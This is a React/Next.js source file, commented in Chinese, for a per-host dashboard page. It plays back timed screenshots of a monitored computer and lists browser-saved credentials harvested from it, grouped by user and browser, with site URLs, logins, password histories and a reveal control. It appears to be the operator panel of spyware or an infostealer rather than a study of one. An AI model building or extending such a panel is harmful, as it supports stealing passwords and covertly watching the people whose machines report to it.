"use client"; import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; import { useParams, useRouter } from 'next/navigation'; import { ArrowLeft, RefreshCcw, ChevronDown, User, Globe, Link, Clipboard, ShieldAlert, Loader2 } from 'lucide-react'; import { format, differenceInMinutes } from 'date-fns'; import TimelineSlider from './components/TimelineSlider'; import RecordDatePicker from './components/RecordDatePicker'; interface Screenshot { fileId: string; filename: string; monitorName: string; } interface Window { title: string; path: string; memory: number; } interface ScreenRecord { timestamp: string; windows: Window[]; screenshots: Screenshot[]; } interface TimeDistributionPoint { count: number; timestamp: number; } interface Password { value: string; timestamp: string; } interface Credential { _id: string; hostname: string; username: string; browser: string; url: string; login: string; passwords: Password[]; lastSyncTime: Date; } interface BrowserGroup { name: string; credentials: Credential[]; } interface UserGroup { username: string; browsers: BrowserGroup[]; total: number; lastSyncTime?: string; } interface Segment { start: number; end: number; active: boolean; } interface Marker { time: number; label?: string; active?: boolean; } export default function HostDetail() { const params = useParams(); const router = useRouter(); const hostname = params.hostname as string; // 状态管理 const [activeTab, setActiveTab] = useState('screenshots'); const [timeDistribution, setTimeDistribution] = useState([]); const [records, setRecords] = useState([]); const [selectedRecord, setSelectedRecord] = useState(null); const [loadingDistribution, setLoadingDistribution] = useState(false); const [loadingRecords, setLoadingRecords] = useState(false); const [showDetailTimeline, setShowDetailTimeline] = useState(false); const [lastUpdate, setLastUpdate] = useState(null); // 凭据相关状态 const [credentials, setCredentials] = useState([]); const [loadingCredentials, setLoadingCredentials] = useState(false); const [expandedUsers, setExpandedUsers] = useState([]); const [expandedBrowsers, setExpandedBrowsers] = useState([]); const [expandedCredentials, setExpandedCredentials] = useState([]); const [revealedPasswords, setRevealedPasswords] = useState([]); // 日历和滑块状态 const [selectedDate, setSelectedDate] = useState(null); const [timeRange, setTimeRange] = useState({ min: 0, max: 0 }); const [hourlySliderValue, setHourlySliderValue] = useState(0); const [detailedSliderValue, setDetailedSliderValue] = useState(0); // 播放控制 const [currentFrameIndex, setCurrentFrameIndex] = useState(-1); const [autoPlay, setAutoPlay] = useState(false); const [autoPlaySpeed, setAutoPlaySpeed] = useState(200); const [imagesLoadedCount, setImagesLoadedCount] = useState(0); const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9); const autoPlayTimer = useRef(null); // 格式化内存大小 const formatMemory = (bytes: number) => { if (typeof bytes !== 'number') return '0 B'; const units = ['B', 'KB', 'MB', 'GB']; let size = bytes; let unitIndex = 0; while (size >= 1024 && unitIndex < units.length - 1) { size /= 1024; unitIndex++; } return `${size.toFixed(1)} ${units[unitIndex]}`; }; // 格式化日期 const formatDate = (date: string, type: 'full' | 'short' = 'full') => { if (type === 'short') { return format(new Date(date), 'MM-dd HH:mm'); } return format(new Date(date), 'yyyy-MM-dd HH:mm:ss'); }; // 获取时间分布数据 const fetchTimeDistribution = async () => { try { setLoadingDistribution(true); const response = await fetch(`/api/hosts/${hostname}/time-distribution`); if (!response.ok) throw new Error('获取时间分布数据失败'); const data = await response.json(); setTimeDistribution(data.distribution); } catch (error) { console.error('获取时间分布数据失败:', error); } finally { setLoadingDistribution(false); } }; // 获取凭据数据 const fetchCredentials = async () => { try { setLoadingCredentials(true); const response = await fetch(`/api/hosts/${hostname}/credentials`); if (!response.ok) throw new Error('获取凭据数据失败'); const data = await response.json(); setCredentials(data); if (data.length > 0) { const firstUser = data[0].username; if (!expandedUsers.includes(firstUser)) { setExpandedUsers([firstUser]); } } } catch (error) { console.error('获取凭据数据失败:', error); } finally { setLoadingCredentials(false); } }; // 获取小时记录 const fetchHourlyRecords = async (startTime: number, endTime: number) => { try { setLoadingRecords(true); setShowDetailTimeline(true); const response = await fetch( `/api/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}` ); if (!response.ok) throw new Error('获取记录数据失败'); const data = await response.json(); setRecords(data.records.reverse()); setLastUpdate(data.lastUpdate); setTimeRange({ min: startTime * 1000, max: endTime * 1000 }); requestAnimationFrame(() => { setSelectedRecord(data.records[0]); }); } catch (error) { console.error('获取记录数据失败:', error); } finally { setLoadingRecords(false); } }; // 组织凭据数据按用户分组 const credentialsByUser = useMemo(() => { const userMap = new Map(); credentials.forEach(cred => { if (!userMap.has(cred.username)) { userMap.set(cred.username, []); } userMap.get(cred.username)!.push(cred); }); const result: UserGroup[] = []; userMap.forEach((userCreds, username) => { const latestSyncTime = userCreds.reduce((latest, cred) => { const credTime = new Date(cred.lastSyncTime); return credTime > latest ? credTime : latest; }, new Date(0)).toISOString(); const browserMap = new Map(); userCreds.forEach(cred => { if (!browserMap.has(cred.browser)) { browserMap.set(cred.browser, []); } browserMap.get(cred.browser)!.push(cred); }); const browsers: BrowserGroup[] = []; browserMap.forEach((browserCreds, browserName) => { browsers.push({ name: browserName, credentials: browserCreds }); }); result.push({ username, browsers, total: userCreds.length, lastSyncTime: latestSyncTime }); }); return result; }, [credentials]); // 日历相关计算 const dailyCounts = useMemo(() => { const map: Record = {}; timeDistribution.forEach(point => { const d = new Date(point.timestamp * 1000); const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`; map[dateStr] = (map[dateStr] || 0) + point.count; }); return map; }, [timeDistribution]); // 小时分布滑块相关计算 const hourlyMinTime = useMemo(() => { if (selectedDate) { const [year, month, day] = selectedDate.split('-').map(Number); const dayStart = new Date(year, month - 1, day); return dayStart.getTime(); } if (timeDistribution.length === 0) return Date.now(); const minSec = Math.min(...timeDistribution.map(d => d.timestamp)); return minSec * 1000; }, [selectedDate, timeDistribution]); const hourlyMaxTime = useMemo(() => { if (selectedDate) { const [year, month, day] = selectedDate.split('-').map(Number); const dayStart = new Date(year, month - 1, day); const dayEnd = new Date(dayStart); dayEnd.setDate(dayStart.getDate() + 1); return dayEnd.getTime(); } if (timeDistribution.length === 0) return Date.now(); const maxSec = Math.max(...timeDistribution.map(d => d.timestamp)); return (maxSec + 3599) * 1000; }, [selectedDate, timeDistribution]); const hourlySegments = useMemo(() => { const segments: Segment[] = []; if (selectedDate) { const [year, month, day] = selectedDate.split('-').map(Number); const dayStart = new Date(year, month - 1, day); const startSec = Math.floor(dayStart.getTime() / 1000); const dayEnd = new Date(dayStart); dayEnd.setDate(dayEnd.getDate() + 1); const endSec = Math.floor(dayEnd.getTime() / 1000); for (let t = startSec; t < endSec; t += 3600) { const segStart = t * 1000; const segEnd = (t + 3600) * 1000; const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600); segments.push({ start: segStart, end: segEnd, active: !!data && data.count > 0 }); } } else { if (timeDistribution.length === 0) return segments; const startSec = Math.min(...timeDistribution.map(d => d.timestamp)); const endSec = Math.max(...timeDistribution.map(d => d.timestamp)); for (let t = startSec; t <= endSec; t += 3600) { const segStart = t * 1000; const segEnd = (t + 3600) * 1000; const data = timeDistribution.find(d => d.timestamp === t); segments.push({ start: segStart, end: segEnd, active: data ? data.count > 0 : false }); } } return segments; }, [selectedDate, timeDistribution]); // 详细时间点标记 const detailedMarkers = useMemo(() => { return records.map(record => ({ time: new Date(record.timestamp).getTime(), label: format(new Date(record.timestamp), 'HH:mm:ss'), active: true })); }, [records]); // 计算属性 const allImagesLoaded = useMemo(() => { if (!selectedRecord) return false; return imagesLoadedCount >= selectedRecord.screenshots.length; }, [selectedRecord, imagesLoadedCount]); // 事件处理函数 const onHourlySliderChange = (newValue: number) => { const selectedSec = Math.floor(newValue / 3600000) * 3600; // 使用 setTimeout 避免在渲染过程中更新状态 setTimeout(() => { setHourlySliderValue(newValue); fetchHourlyRecords(selectedSec, selectedSec + 3600); }, 0); }; const onDetailedSliderChange = (newValue: number) => { if (records.length === 0) return; const targetTime = newValue; let closestRecord = records[0]; let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime); for (const record of records) { const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime); if (diff < minDiff) { minDiff = diff; closestRecord = record; } } // 使用 setTimeout 避免在渲染过程中更新状态 setTimeout(() => { setSelectedRecord(closestRecord); setDetailedSliderValue(newValue); }, 0); }; // 展开/折叠功能 const toggleUserExpanded = (username: string) => { if (expandedUsers.includes(username)) { setExpandedUsers(expandedUsers.filter(u => u !== username)); } else { setExpandedUsers([...expandedUsers, username]); } }; const toggleBrowserExpanded = (browserKey: string) => { if (expandedBrowsers.includes(browserKey)) { setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey)); } else { setExpandedBrowsers([...expandedBrowsers, browserKey]); } }; const toggleCredentialExpanded = (credId: string) => { if (expandedCredentials.includes(credId)) { setExpandedCredentials(expandedCredentials.filter(c => c !== credId)); } else { setExpandedCredentials([...expandedCredentials, credId]); } }; const revealPassword = (passwordKey: string) => { if (!revealedPasswords.includes(passwordKey)) { setRevealedPasswords([...revealedPasswords, passwordKey]); } }; const copyToClipboard = async (text: string) => { try { await navigator.clipboard.writeText(text); } catch (err) { console.error('复制失败:', err); } }; // 播放控制 const nextFrame = () => { if (currentFrameIndex < records.length - 1) { setCurrentFrameIndex(currentFrameIndex + 1); setSelectedRecord(records[currentFrameIndex + 1]); } else { setAutoPlay(false); } stopAutoPlayTimer(); }; const prevFrame = () => { if (currentFrameIndex > 0) { setCurrentFrameIndex(currentFrameIndex - 1); setSelectedRecord(records[currentFrameIndex - 1]); } stopAutoPlayTimer(); }; const toggleAutoPlay = () => { setAutoPlay(!autoPlay); }; const startAutoPlayTimer = useCallback(() => { if (allImagesLoaded && autoPlay) { autoPlayTimer.current = setTimeout(() => { nextFrame(); }, autoPlaySpeed); } }, [allImagesLoaded, autoPlay, autoPlaySpeed, currentFrameIndex, records.length]); const stopAutoPlayTimer = () => { if (autoPlayTimer.current) { clearTimeout(autoPlayTimer.current); autoPlayTimer.current = null; } }; const onImageLoad = (event: React.SyntheticEvent, fileId: string) => { setImagesLoadedCount(prev => prev + 1); const imgEl = event.target as HTMLImageElement; if (imgEl.naturalHeight !== 0) { setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight); } }; // Effects useEffect(() => { fetchTimeDistribution(); fetchCredentials(); }, [hostname]); useEffect(() => { if (!selectedDate && Object.keys(dailyCounts).length > 0) { const dates = Object.keys(dailyCounts).sort(); if (dates.length > 0) { setSelectedDate(dates[0]); } } }, [dailyCounts, selectedDate]); useEffect(() => { setHourlySliderValue(hourlyMinTime); }, [hourlyMinTime]); useEffect(() => { if (selectedDate) { const activeSegment = hourlySegments.find(s => s.active); const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime; setHourlySliderValue(newValue); onHourlySliderChange(newValue); } }, [selectedDate, hourlySegments, hourlyMinTime]); useEffect(() => { setDetailedSliderValue(timeRange.min); }, [timeRange.min]); useEffect(() => { setImagesLoadedCount(0); if (selectedRecord) { const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp); setCurrentFrameIndex(idx); setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime()); } if (autoPlay && allImagesLoaded) { startAutoPlayTimer(); } }, [selectedRecord, records, autoPlay, allImagesLoaded, startAutoPlayTimer]); useEffect(() => { if (autoPlay && allImagesLoaded) { stopAutoPlayTimer(); startAutoPlayTimer(); } }, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]); return (
{/* 头部导航 */}

{hostname}

{lastUpdate && (
最后更新: {formatDate(lastUpdate)}
)}
{/* 选项卡导航 */}
{/* 截图时间线选项卡 */} {activeTab === 'screenshots' && (
{/* 小时分布滑块(时间分布) */}

时间分布

{hourlySegments.length > 0 ? (
) : (
加载时间分布中...
)}
{/* 详细时间点滑块 */} {showDetailTimeline && (

时间点详情

{records.length > 0 ? ( ) : (
加载记录中...
)}
)} {/* 图片预览区域及控制按钮 */} {selectedRecord && (
{/* 图片预览区域 */} {selectedRecord.screenshots.map((screenshot, sIndex) => (
{screenshot.monitorName} onImageLoad(e, screenshot.fileId)} />
{/* 图片说明 */}
{screenshot.monitorName}
{new Date(selectedRecord.timestamp).toLocaleString()}
{/* 左侧点击区域 - 上一帧 */}
{ e.preventDefault(); prevFrame(); }} onTouchStart={(e) => e.preventDefault()} className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" /> {/* 右侧点击区域 - 下一帧 */}
{ e.preventDefault(); nextFrame(); }} onTouchStart={(e) => e.preventDefault()} className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" />
))} {/* 控制按钮区域 */}
{/* 窗口信息 */}

活动窗口

{selectedRecord.windows.map((window, index) => (
{window.title}
{window.path}
内存占用: {formatMemory(window.memory)}
))}
)}
)} {/* 凭据信息选项卡 */} {activeTab === 'credentials' && (

凭据信息

{/* 加载状态 */} {loadingCredentials ? (

加载凭据信息...

) : credentialsByUser.length === 0 ? (

没有找到任何凭据信息

可能是该主机尚未上报凭据数据

) : (
{credentialsByUser.map((userGroup, index) => (
{/* 用户信息头部 */}
toggleUserExpanded(userGroup.username)} >

{userGroup.username}

({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
{userGroup.lastSyncTime && (
最后同步: {formatDate(userGroup.lastSyncTime, 'short')}
)}
{/* 用户凭据内容 */} {expandedUsers.includes(userGroup.username) && (
{userGroup.browsers.map((browser) => (
{/* 浏览器标题 */}
toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)} >
{browser.name} ({browser.credentials.length} 个站点)
{/* 浏览器凭据列表 */} {expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
{browser.credentials.map((cred) => (
{/* 凭据网站头部 */}
toggleCredentialExpanded(cred._id)} >
{cred.url}
{/* 凭据详情 */} {expandedCredentials.includes(cred._id) && (
用户名: {cred.login}
密码历史: {cred.passwords.length} 条记录
{cred.passwords.map((pwd, pwdIndex) => (
{formatDate(pwd.timestamp, 'short')}
revealedPasswords.includes(`${cred._id}-${pwdIndex}`) ? null : revealPassword(`${cred._id}-${pwdIndex}`) } > {revealedPasswords.includes(`${cred._id}-${pwdIndex}`) ? pwd.value : '••••••••' }
))}
)}
))}
)}
))}
)}
))}
)}
)}
); }